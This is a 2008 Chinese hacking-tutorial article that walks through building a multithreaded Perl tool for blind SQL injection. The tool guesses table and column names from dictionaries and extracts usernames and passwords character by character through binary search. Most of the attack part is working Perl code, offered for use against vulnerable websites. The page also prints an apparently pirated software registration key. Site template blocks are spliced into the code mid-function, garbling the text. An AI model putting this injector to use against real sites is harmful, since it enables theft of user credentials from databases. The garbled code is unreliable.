安全中国首页 > 文章中心 > 综合注入文章
 
安全中国网友投稿专用上传FTP空间:
Ftp服务器:download.anqn.com
Ftp端口:21
用户名:anqn
密 码:anqn.com
 

PERL铸造多线程+支持中文破解SQL自动注入猜解机

更新时间:2008-8-3 0:53:48
责任编辑:高远
热 点:
说到SQL注入机,从娃娃针对动网文章的dvTxt.pl到臭要饭的绝世猜解CSC、NB联盟的NBSI,大家也都用过吧? 
开天始祖 dvTxt.pl,也不知被改了多少遍,以用于针对各种不同的有SQL注入漏洞的系统,通常《黑防》的一篇《**存在SQL注入漏洞》的文章,末了,都要把这尊大佛抬出来,更改几个字段,然后,又一个**专杀工具出土了!对于臭要饭的绝世猜解CSC,我用得已经是忍无可忍了, 虽然采用了多线程技术,但是依然弥补不了算法低劣的恶劣影响,破解由于采用的是字典,不仅速度慢,同时也限制了对中文这样的双字节字符的破解,而NBSI,破解算法虽然得到了改进,但是却忘了多线程,而且在猜解表名、列名时,共用一个大字典,白白浪费掉不少时间。两个东西拼在一起就好了,可是没有原代码阿(可视化开发工具,在下也只会用VB)?! 也不知道老大们是不是用一种语言开发的,就算是同一种,就算是VB,也没有人谁愿意提供原代码阿,无奈…只好响应主席号召:自己动手,丰衣足食! 
程序不过是将手动变为自动,先来痛苦地回忆一下手动注入猜解的过程:1.找到注入点->2.构造SQL查询语句->3.提交 URL->4.根据浏览器返回信息判断SQL查询语句正确性->5.修正SQL查询语句->6.重复3.4.5步N遍,直到得到数据库存储的正确信息。 
翻译成程序语言:1.输入存在SQL注入漏洞的URL($url)->2.从URL中提取主机($host)、路径($path)、端口($port)->3. 构造SQL查询语句加入URL($url)->4.用I:Socket向目标主机提交 URL ->5.从返回的页面中提取查询逻辑值为真(假)时存在的字符($info),成功则转入对下一目标值的猜解,失败则继续重复3.4.5 步。 
猜解全局流程图如下: 
用户信息表 - > 用户名字段 - > 密码字段 - > ID字段 - > 最小用户ID - > 用户名长度- > 密码长度 - > 用户名 - > 密码 
说得有点简约,因为这些东西普及得实在厉害,更详细的内容,大家可以参阅《黑客防线》第5期的SQL注入专题,理论讲完了,大家也都情不自禁、心急火燎、磨刀霍霍…… 
LET’GO! 
一. 提取$URL中的主机($host)、路径($path)、端口($port) 
还曾记得娃娃的那个dvTxt.pl,还有它那烦琐的用法:dvTxt.pl <host> <way> <articleID> <errInfo> ,$URL一家三口被活生生的拆散,苍天啊! 
在使用中,复制粘贴起来极为不便,其实,使用PERL强大的正则表达式,一却都可以迎刃而解,先来随便观察几个URL:http://www.hemon.tk/show.asp?id=957 、http://www.hemon.tk:1314/show.asp?id=957 、 http://www.hemon.tk/article/show.asp?id=957 。透过现象看本质,规律也就出来了:(http://)主机(:端口)/ 路径 。()内字符出现0或1次。 
正则表达式也就有了: 

程序代码: 
        if($url=~/(\/\/)?(.+?)\/(.+)/) 
        { 
                $host=$2; 
                $path=’/’.$3; 
                if($host=~/(.+):(.+)/) 
                { 
                 $host=$1; 
                 $port=$2; 
                } 
        } 

在“$url=~/(\/\/)?(.+?)\/(.+)/”中,先要说一说那个?,?匹配0个或1个该字符,所以在输入链接的时候“http://”可有可无;匹配主机($host)的是(.+?),为什么不是(.+),因为perl默认的贪婪模式,将尽可能多的匹配至后面的字符(在这里是‘/’),所以如果不及时限定,对这样一个URL:http://www.hemon.tk/article/show.asp?id=957 ,$host将匹配至www.hemon.tk/article ,而不是我们想要的 www.hemon.tk 。 
二. I:Socket提交函数 
    经过刚才的努力,也该是回报的时候了,赶紧用我们提取得到的主机($host)、路径($path)、端口($port)写好这个提交函数: 

程序代码: 
sub connect 

     $req = "GET $path$path1 HTTP/1.0\n". 
        "Host: $host\n". 
        "Referer: $host\n". 
        "Cookie: \n\n"; 
          
        my $connection = I:Socket::INET->new(Proto =>"tcp", 
        PeerAddr =>$host, 
        PeerPort =>$port) || die "Sorry! Could not connect to $host \n"; 
        print $connection $req; 
        my @res = <$connection>; 
        close $connection; 
        return @res; 



Connect 子例程将返回信息存储在数组@res中; 
三. 猜解用户信息表 
使用SQL查询语句:0<>(select count(*) from TABLE) 
真正的破解开始了,没有什么捷径可走,顺次读取字典里存储的表名,然后一个一个的尝试,一旦成功匹配正确信息,立即退出while循环;字典有两种,一种是数组,第二是文本字典,PERL脚本我们将编译为EXE可执行文件,为了便于今后修改添加新的表名,我使用文本字典文件: 

程序代码: 
        open (tabInput,"table.txt") or die "can’t open file!\n"; 
        while (chomp(my $input=<tabInput>)) 
        { 
                my $sql="0<>(select%20count(*)%20from%20$input)"; 
                $path1 = "%20AND%20$sql"; 
                &url; 
                @res = &connect; 
                if ("@res"=~/$info/) 
                { 
                        $table_user=$input; 
                        print "the table of userinfo is:$table\n"; 
                        last; 
                } 
        } 
        close(tabInput); 

四. 猜解字段名 
使用SQL查询语句:exists (select COL_NAME from TABLE) 
这一步同猜解表名如出一辙,一旦成功获取表名,我们将兵分三路,直取用户名列($field_user)、密码列($field_pass)、ID列($field_id),既然是分兵出击,就不得不使用多线程,PERL中的多线程,呵呵,你还没有试过吧? 
为实现多线程作的第一个准备,编写猜解子例程(函数),我们依然使用文本字典文件,在这里,文件名作为唯一的参数传入: 

程序代码: 
sub field_input 

        my $field; 
        open (fieInput," PERL铸造多线程+支持中文破解SQL自动注入猜解机_安全中国_全球最大网络安全培训门户
 
 
安全中国首页 > 文章中心 > 综合注入文章
 
安全中国网友投稿专用上传FTP空间:
Ftp服务器:download.anqn.com
Ftp端口:21
用户名:anqn
密 码:anqn.com
 

PERL铸造多线程+支持中文破解SQL自动注入猜解机

更新时间:2008-8-3 0:53:48
责任编辑:高远
热 点:
$Content$
 
相关文章
一日一文章
 
一日一软件
一日一动画
 
[0]") or die "can’t open file!\n"; 
        while (chomp(my $input=<fieInput>)) 
        { 
                my $sql="exists%20(select%20$input%20from%20$table_User)"; 
                $path1 = "%20AND%20$sql"; 
                my @res = &connect; 
                if ("@res"=~/$info/) 
                { 
                        $field=$input; 
                        print "\t+--  $field  --+"; 
                        last; 
                } 
        } 
        close(fieInput); 
        return $field; 


五.PERL多线程速成 
然后,然后当然就是学习PERL的多线程技术!!!也许现在你就开始胆战心惊,以为这有什么了不起,呵呵,80/20的瑞士军刀法则在这里又是那么管用,我们仅仅需要学习两个函数就可以结束我们的速成班: 
$thread = threads->create(function, LIST) 
以变量名$thread,创建一个子例程\函数(FUNCTION)的一个线程,LIST为子例程\函数的参数,CREATE可替换为NEW。 
$thread->join 
等待线程运行完毕。一旦结束运行,join()将返回子例程\函数(FUNCTION)的值。 
THAT’S ALL! 
就这么简单?完了?就这么两把菜刀就可以干我们的革命了!!! 
详情参阅ActicePerl的帮助文档:Perl/html/lib/threads.html. 
5、4、3、2、1、点火!!! 

程序代码: 
$thread1  = threads->create("field_Input","field_Username.txt"); 
    $thread2  = threads->create("field_Input","field_Password.txt"); 
    $thread3  = threads->create("field_Input","field_ID.txt"); 

回收返回仓: 

程序代码: 
$field_Username = $thread1->join(); 
    $field_Password = $thread2->join(); 
    $field_ID = $thread3->join(); 


同时射出三个线程,然后JOIN回来,多么完美的落地啊,10分!!! 
五. 猜数字的技巧 
即便是多了几匹马,马再多也没有跑不过火轮车阿,我们来研究一下猜解的技巧,回过头看看等待我们的任务:最小用户ID - > 用户名长度- > 密码长度 - > 用户名 - > 密码。 
ID 值是天然的数值,长度是length($field)是数值,一位用户名和密码的ASCII码还是数值,都玩过网上的一个猜数字的JAVASCRIPT游戏吧?一个100以内的数,为什么只给你7次机会去猜?因为2^7=128,换句话说,一个128以内的数,你也只需猜7次,那么李咏节目里头那些几千上万块钱的东西,又要猜几次呢?2^13=8192, 2^14=16384,你还愁拿不到奖品吗?! 
为了让大家看清楚一点,猜一个8以内的数,比如是5,步骤如下: 
? < 4  N 
? < 6  Y  4 + 2 
? < 5  N  6 - 1 
? = 5 
也就用了三次,首先从中值(4)开始,每猜解一次加\减中值的一半(2、1),这些2^n都是固定了的,为了避免CPU的重复计算,可以根据猜解值的范围,相应预备一个数组,我准备了四个: 

程序代码: 
@dic1=(128,64,32,16,8,4,2,1); # 最小用户ID 
@dic2=(16,8,4,2,1); # 用户名、密码长度 
@dic3=(64,32,16,8,4,2,1); # 英文字符 
@dic4=(16384,8192,4096,2048,1024,512,256,128,64,32,16,8,4,2,1); #中文字符 

算法函数如下: 
sub crack 

my(@dic) = @_; 
my $sql=pop(@dic); 
my $i=0; 
my $op=1; 
my $crack; 
foreach my $pass(@dic) 

        print ">"; 
        $i++; 
        $crack+=$op*$pass; 
        $path1 = "%20AND%20$crack<($sql)"; 
        my @res = &connect; 
        if ("@res" =~ /$info/) 
        { 
                $op=1; 
                if($i==@dic) 
                { 
                        $crack++; 
                } 
        } 
        else 
        { 
                $op=-1; 
        } 

return $crack; 


$sql="select%20min($field_ID)%20from%20$table_User"; 
$id=&crack(@dic1,"$sql"); 

传递进构造的SQL注入语句以及相应的数组字典,CRACK!!! 
参数为数组时,子程序只将它赋给一个数组变量,my(@dic)而非 my(@dic,$sql) =@_;后者,$sql必然为空!简单变量和数组变量是可以同时传递,$sql在此是@dic的最后一个元素。 pop(@dic)再删去列表最后一个元素($sql),并将其作为返回值,剩下的@dic就是纯洁的数字了。 
让我们一鼓作气,拿下用户名和密码长度,同时,别忘了使用多线程: 

程序代码: 
$sql="select%20len($field_Username)%20from%20$table_User%20where%20field_ID=$id"; 
my $thread4  = threads->create("crack",@dic2,$sql); 
$sql="select%20len($field_Password)%20from%20$table_User%20where%20$field_ID=$id"; 
my $thread5  = threads->create("crack",@dic2,$sql); 
$userlen = $thread4->join(); 
$passlen = $thread5->join(); 


六.最后的战役-攻破字段值 
使用SQL查询语句:select abs(asc(mid($fieUsername,$locat,1))) from  $table_User where $field_Id = $id 
这里不讨论MS-SQL中的猜测,可以说MS-SQL下是不用猜测的,你只要构造的条件足够的好,可以直接让对方在报错的时候将数据内容直接显示出来。 
ACCESS 中字符的猜测:首先要判断ASCII码值是否大于零,大于,就用@dic3套到CRACK函数里面,小于就用@dic4了!函数返回数值以后,对于英文字符,有两种方法:使用nchar($asc)或者pack(’C*’,$asc);而对于中文字符:打开计算器,选择科学型,转换成十六进制单字,是****,用UltraEdit编辑为*字,哈哈……那就不叫编程了! 
首先要用sprintf("%X",$asc)完成计算器的转换十六进制的工作,(别忘了用正则表达式提出最后四位,不然一个字前面就要冒出两个空格)然后再用pack("H*",$str)完成UltraEdit的打包作业: 

程序代码: 
sub asc 

        my $asc= PERL铸造多线程+支持中文破解SQL自动注入猜解机_安全中国_全球最大网络安全培训门户
 
 
安全中国首页 > 文章中心 > 综合注入文章
 
安全中国网友投稿专用上传FTP空间:
Ftp服务器:download.anqn.com
Ftp端口:21
用户名:anqn
密 码:anqn.com
 

PERL铸造多线程+支持中文破解SQL自动注入猜解机

更新时间:2008-8-3 0:53:48
责任编辑:高远
热 点:
$Content$
 
相关文章
一日一文章
 
一日一软件
一日一动画
 
[0]; 
        my $str; 
        if ($asc<256) 
              { 
              $str = pack(’C*’,$asc); 
              } 
        else 
        { 
        $asc*=-1; 
        $str = sprintf("%X",$asc); 
        if ($str=~/(.{4})$/i) 
        { 
                $str=$1; 
        } 
        $str = pack("H*",$str); 
        } 
        return $str; 



万事俱备,只欠东风,此仅举猜解密码值为例,一位密码启动一个CRACK子线程: 

程序代码: 
for (my $locat=1;$locat<=$passlen;$locat++) 

        $sql = "select%20asc(mid($field_Password,$locat,1))%20from%20$table_User%20where%20$field_Id=$id"; 
        $path1 = "%20AND%200>($sql)"; 
        my @res = &connect; 
        if ("@res" =~ /$info/) 

$sql = "select%20abs(asc(mid($field_Password,$locat,1)))%20from%20$table_User%20where%20$field_Id=$id"; 
              $password[$locat] = threads->create("crack",@dic4,$sql); 
        } 
        else 
        { 
              $password[$locat] = threads->create("crack",@dic3,$sql); 
        } 


    慢慢等待这些孩子们都一个个衣锦还乡吧: 

程序代码: 
for (my $locat=1;$locat<=$passlen;$locat++) 
    { 
         $password[$locat] = $password[$locat]->join(); 
    } 

其它的显示细节,我就不要意思多说了,赶忙编译EXE。GO! 
六. 编译perl为EXE 
从perl2exe的老家http://www.indigostar.com/perl2exe.htm ,DOWN个最新版本的Perl2Exe for Win32,目前为止是8.40,直接解压缩,CMD命令行进入解压后的目录,为了避免浏览烦人的广告,我们先得注册一下这个软件: 

程序代码: 
D:\hemon\software>perl2exe -register 
Perl2Exe V8.40 Copyright (c) 1997-2004 IndigoSTAR Software 
Please enter your registration key, or press enter to cancel 

输入我的注册码: 
hemon:hemon:20040709,36713 
注册成功之后显示: 
Registered 
同时,程序目录生成一个名为perl2exe.key的注册表文件,可千万移不得啊! 
编译PL: 

程序代码: 
D:\hemon\software>perl2exe si.pl 
Perl2Exe V8.40 Copyright (c) 1997-2004 IndigoSTAR Software 
Registered to hemon:hemon:20040709, ENT version 
Converting ’si.pl’ to si.exe 



一个多线程的、支持中文破解的PERL版注入器就诞生了!!! 
大约能提高一倍的速度,也就是可以节约一半的时间,与我的预期还是有很大出入的。美中不足的是,还真应了“欲速则不达”的古语,我提供了两个版本(thr.pl\sig.pl),对于那些网速较慢的网站,呵呵…… 用了你就知道,一般人我不告诉!最好还是改用单线程的,稳定性较好。 
不过,代码在手,我就不怕你会改,增强稳定性什么的,稍微加上几个函数,让它支持PHP+MYSQL,ASP+MSSQL什么的…… 
一句话:网聚人的力量!支持开放原代码!

 
相关文章
一日一文章
 
一日一软件
一日一动画